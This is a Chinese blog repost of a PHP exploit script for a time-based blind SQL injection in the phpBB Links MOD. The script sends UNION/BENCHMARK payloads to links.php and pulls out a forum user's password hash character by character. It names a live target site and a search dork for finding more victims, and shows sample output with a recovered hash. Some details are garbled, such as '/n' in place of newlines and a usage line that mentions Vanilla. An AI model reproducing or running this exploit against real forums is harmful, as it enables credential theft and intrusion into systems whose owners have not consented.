phpBB Links MOD Remote Blind SQL Injection Exploit

此文章介绍了一个针对phpBB Links MOD的远程盲注SQL注入漏洞利用方法。通过对比延迟时间来判断SQL语句真假,从而获取管理员密码哈希。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

  1. <?php   
  2. /*  
  3. D:/usr/local/php>php test.php http://www.skypebbs.com/ -id=2  
  4.  
  5. ------------------------------------------------------------  
  6. phpBB Links MOD Remote Blind SQL Injection Exploit  
  7. exploit by flyh4t(cnsst.org)  
  8. bug found by Love Fly   
  9. dork:Links MOD v1.2.2 by phpBB2  
  10. ------------------------------------------------------------  
  11. [~] Testing probe delays...  
  12. [+] Average nondelayed queries response time: 4.3 dsecs  
  13. [+] Average delayed queries response time: 17.3 dsecs  
  14. [~] Getting hash...  
  15. [+] Result: 3a0fd93f0834d566bb0196011bc2c327  
  16. */    
  17. echo "------------------------------------------------------------/n";   
  18. echo "phpBB Links MOD Remote Blind SQL Injection Exploit/n";   
  19. echo "exploit by flyh4t(cnsst.org)/n";   
  20. echo "bug found by Love Fly/n";   
  21. echo "dork:Links MOD v1.2.2 by phpBB2/n";   
  22. echo "------------------------------------------------------------/n";   
  23.   
  24. if ($argc<2) {   
  25. echo "USAGE:/n";   
  26. echo "~~~~~~/n";   
  27. echo "php {$argv[0]} [url] OPTIONS/n/n"  
  28. echo "[url]        - target server where Vanilla is installed/n/n";   
  29. echo "OPTIONS:/n";   
  30. echo "-id=<id>     - use specific user id (default 1)/n";   
  31. echo "-c=<count>   - benchmark()'s loop count (default 500000)/n";   
  32. echo "tip:/n";   
  33. echo "use bigger number of <count> if server is slow/n/n";   
  34. die;   
  35. }   
  36.   
  37. error_reporting(0);   
  38. set_time_limit(0);   
  39. ini_set("max_execution_time",0);   
  40. ini_set("default_socket_timeout",20);   
  41. $url = $argv[1];   
  42. for($i=2;$i<$argc;$i++) {   
  43.    if(strpos($argv[$i],"=")!==false) {   
  44.        $exploded=explode("=",$argv[$i]);   
  45.          if ($exploded[0]=='-id') $id = $exploded[1];  
  46.        if ($exploded[0]=='-c') $benchmark = $exploded[1];  
  47.    }  
  48.    elseif($argv[$i] == '-v') $verbose=true;  
  49. }  
  50. if (!isset($id)) $id = 2;  
  51. if (!isset($benchmark)) $benchmark = 500000;  
  52. if (!isset($verbose)) $verbose=false;  
  53.  
  54. $url_parts = parse_url($url);  
  55. $host = $url_parts['host'];  
  56. if (isset($url_parts['port'])) $port = $url_parts['port']; else $port = 80;  
  57. $path = $url_parts['path'];  
  58. $query_pattern = "-99+union+select+user_password,IF(%s,BENCHMARK(%d,MD5(31337)),1)+FROM+phpbb_users+WHERE+user_id=$id/*";  
  59. print "[~] Testing probe delays.../n";  
  60. $ok=true; $nodelay=0; $withdelay=0;  
  61. for ($i=1;$i<=3;$i++){  
  62.    $query = sprintf($query_pattern, "1=1", 1);  
  63.    $fdelay = get($query);  
  64.    if ($fdelay!==false) $nodelay+=$fdelay; else {$ok=false;break;}  
  65.    $query = sprintf($query_pattern, "1=1", $benchmark);  
  66.    $sdelay = get($query);  
  67.    if ($sdelay!==false) $withdelay+=$sdelay;  else {$ok=false;break;}  
  68.    if ($sdelay<=($fdelay*2)) {$ok=false;break;}  
  69.    usleep($benchmark/1000); $delay=false;  
  70. }  
  71. if ($ok) {  
  72.    $nondelayed = $nodelay/3;  
  73.    print "[+] Average nondelayed queries response time: ".round($nondelayed,1)." dsecs/n";  
  74.    $delayed = $withdelay/3;  
  75.    print "[+] Average delayed queries response time: ".round($delayed,1)." dsecs/n";  
  76. }  
  77. else die("[-] Exploit failed/n");  
  78. print "    Getting hash...";  
  79. if ($verbose) {print "/r[~]"; print "/n";}  
  80. $hash='';  
  81. for($i=1; $i<=32; $i++) {  
  82.    $chr = gethashchar($i);  
  83.    if($chr!==false) $hash .= $chr;  
  84.    else {  
  85.        $chr = gethashchar($i);  
  86.        if ($chr !==false)$hash .= $chr;  
  87.        else die("/n[-] Exploit failed/n");          }   }  
  88. if (!$verbose) {print "/r[~]"; print "/n";}  
  89. print "[+] Result: {$hash}/n";  
  90.  
  91. function gethashchar ($pos) {  
  92.    global $query_pattern,$prefix,$id,$benchmark,$verbose;  
  93.    $inj = "ORD(SUBSTRING(user_password,{$pos},1))";  
  94.    $query = sprintf($query_pattern, $inj.">57", $benchmark*4);  
  95.    $success = condition($query);  
  96.    if (!$success) {  
  97.        if ($verbose) print "[v] Position {$pos}: char is [0-9]/n";  
  98.        $min = 48;  
  99.        $max = 57;          }  
  100.    else {  
  101.        if ($verbose) print "[v] Position {$pos}: char is [a-f]/n";  
  102.        $min = 97;  
  103.        $max = 102;          }  
  104.    for($i=$min;$i<=$max;$i++) {  
  105.        $query = sprintf($query_pattern, $inj."=".$i, $benchmark*4);  
  106.        $success = condition($query);  
  107.        if ($success) {  
  108.            $query = sprintf($query_pattern, $inj."<>".$i, $benchmark*4);  
  109.            $recheck = condition($query);  
  110.            if (!$recheck) {  
  111.                $chr = chr($i);  
  112.                if ($verbose) print "[v] Position {$pos}: char is {$chr}/n";  
  113.                return $chr;  
  114.            }  
  115.        }  
  116.    }  
  117.    return false;  
  118. }  
  119. function condition($query) {  
  120.    global $delayed,$benchmark,$verbose;  
  121.    for($attempt = 1; $attempt <= 10; $attempt++){  
  122.        $delay = get($query,true);  
  123.        if ($delay === false) {  
  124.            if ($verbose) print "[v] Attempt {$attempt}: error/n";  
  125.        }  
  126.        else {  
  127.            if ($verbose) print "[v] Attempt {$attempt}: success (delay is {$delay} dsecs)/n";                      break;  
  128.        }  
  129.    }  
  130.    if ($attempt == 11) die("[-] Exploit failed/n");  
  131.    if($delay > ($delayed * 2)) {  
  132.        usleep(($benchmark*4)/1000);  
  133.        return true;      }  
  134.    return false;  
  135. }function get($query,$gethash=false) {  
  136.    global $host,$port,$path,$verbose;  
  137.    if ($gethash&&!$verbose) status();  
  138.    $start = getmicrotime();  
  139.    $ock = fsockopen(gethostbyname($host),$port);  
  140.    if (!$ock) return false;  
  141.    else {  
  142.        $packet  = "GET {$path}links.php?t=sub_pages&cat={$query} HTTP/1.0";  
  143.        $packet .= "Host: {$host}";  
  144.        $packet .= "User-Agent: InAttack User Agent";  
  145.        $packet .= "Connection: Close";  
  146.        fputs($ock, $packet);  
  147.        $html='';   
  148.        while (!feof($ock)) $html.=fgets($ock);   
  149.        $end = getmicrotime();   
  150.          }   
  151.    return intval(($end-$start)*10);   
  152. }   
  153. function status() {   
  154.    static $n;   
  155.    $n++;   
  156.    if ($n > 3) $n = 0;   
  157.    if($n==0){ print "/r[-]/r"; }   
  158.   
  159.    if($n==1){ print "/r[//]/r";}   
  160.    if($n==2){ print "/r[|]/r"; }   
  161.    if($n==3){ print "/r[/]/r"; }   
  162. }   
  163. function getmicrotime() {return array_sum(explode(" ", microtime()));}   
  164. ?>   
 
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值